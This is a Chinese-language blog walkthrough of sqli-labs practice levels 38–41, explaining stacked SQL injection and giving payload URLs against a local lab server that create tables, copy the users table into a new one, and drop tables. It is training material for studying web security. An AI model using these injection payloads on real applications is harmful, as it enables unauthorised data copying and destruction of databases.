• Sqli-labs Less-38-41


    堆叠注入 

      堆叠注入,英文名Stacked injections。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。

    原理介绍:

      在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

    Less-38:

      测试注入点,发现使用’(单引号包裹):

      http://192.168.1.1/sqli-labs-master/Less-38/?id=1'--+

       我们使用堆叠注入尝试一下,先访问Mysql数据库,键入show tables;可以看到里面原来就有的表:

       然后我们在Less-38中输入命令,这里我们用堆叠注入的方式,在第二个语句创建一个表:

      http://192.168.1.1/sqli-labs-master/Less-38/?id=1' union select 1,2,3;create table liuhui like users;--+

       再次查看Mysql,发现已经创建成功:

       注意:这里如果只有第一句sql语句,他新建的表里面是没有任何信息的,只是模仿了users表的结构。

    Less-39:无包裹

      这一关除了包裹方式的不同,其他步骤都与Less-38相同,这里通过堆叠注入把上一节中新建的表删除:

      http://192.168.1.1/sqli-labs-master/Less-39/?id=1;drop table liuhui; --+

       打开Mysql发现表liuhui已经删除:

       这里就不再赘述,放出语句截图:

      http://192.168.1.1/sqli-labs-master/Less-39/?id=1;create table liuhui39 like users;insert into liuhui39 select * from users;--+

       打开Mysql键入语句show tables;和select * from liuhui39;

     

       再次删除:

      http://192.168.1.1/sqli-labs-master/Less-39/?id=1;drop table liuhui39;--+

       删除成功:

    Less-40:用?id=1’)进行包裹

      除了包裹方式,与Less-38全都相同,不再赘述,参考Less-38。这一节没有错误回显,所以不能使用报错注入。

    Less-41:无包裹

      这一关没有包裹,错误不回显,不能使用报错注入,具体步骤和语句请参考Less-38,此处不再赘述。

  • 相关阅读:
    SpringMVC-乱码问题
    SpringMVC-数据提交
    SpringMVC-结果跳转方式
    SpringMVC-Controller&RestFul
    SpringMVC-基础
    Spring-声明式事务
    Spring-整合MyBatis
    Spring-AOP
    android 入门-工序
    android 入门-android Studio 解决方案
  • 原文地址:https://www.cnblogs.com/FHBBS/p/12369198.html
Copyright © 2020-2023  润新知